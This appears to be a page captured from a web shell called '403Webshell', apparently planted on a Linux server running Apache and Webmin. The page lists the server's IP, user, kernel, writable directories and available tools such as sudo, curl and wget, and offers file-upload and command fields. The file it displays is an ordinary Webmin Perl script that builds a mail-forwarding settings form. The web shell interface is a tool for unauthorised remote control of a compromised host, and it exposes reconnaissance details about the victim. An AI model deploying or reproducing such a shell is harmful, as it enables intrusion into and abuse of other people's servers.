403Webshell
Server IP : 173.209.174.21  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux wcfs-server 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : nodor ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/share/webmin/filter/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/webmin/filter/edit_forward.cgi
#!/usr/bin/perl
# Show a page for just adding, editing or removing forwarding addresses

require './filter-lib.pl';
&ReadParse();

&ui_print_header(undef, $text{'forward_title'}, "");

# Get the forwarding filter, if any
@filters = &list_filters();
($filter) = grep { $_->{'actiontype'} eq '!' && $_->{'nocond'} } @filters;
$dis = !$filter;

print &ui_form_start("save_forward.cgi", "post");
print &ui_table_start($text{'forward_header'}, "width=100%", 2);

# Forwarding enabled?
@names = ( "forward", "continue" );
$dis1 = &js_disable_inputs(\@names, [ ]);
$dis2 = &js_disable_inputs([ ], \@names);
print &ui_table_row($text{'forward_enabled'},
	&ui_radio("enabled", $filter ? 1 : 0,
		  [ [ 1, $text{'yes'}, "onClick='$dis2'" ],
		    [ 0, $text{'no'}, "onClick='$dis1'" ] ]));

# Destination address(s)
print &ui_table_row($text{'forward_to'},
	&ui_textarea("forward", join("\n", split(/,/, $filter->{'action'})),
		     5, 70, undef, $dis));

# Continue processing?
print &ui_table_row($text{'forward_cont'},
	&ui_yesno_radio("continue", $filter->{'continue'}, undef, undef,
			$dis));

print &ui_table_end();
print &ui_form_end([ [ undef, $text{'save'} ] ]);

&ui_print_footer("", $text{'index_return'});

Youez - 2016 - github.com/yon3zu
LinuXploit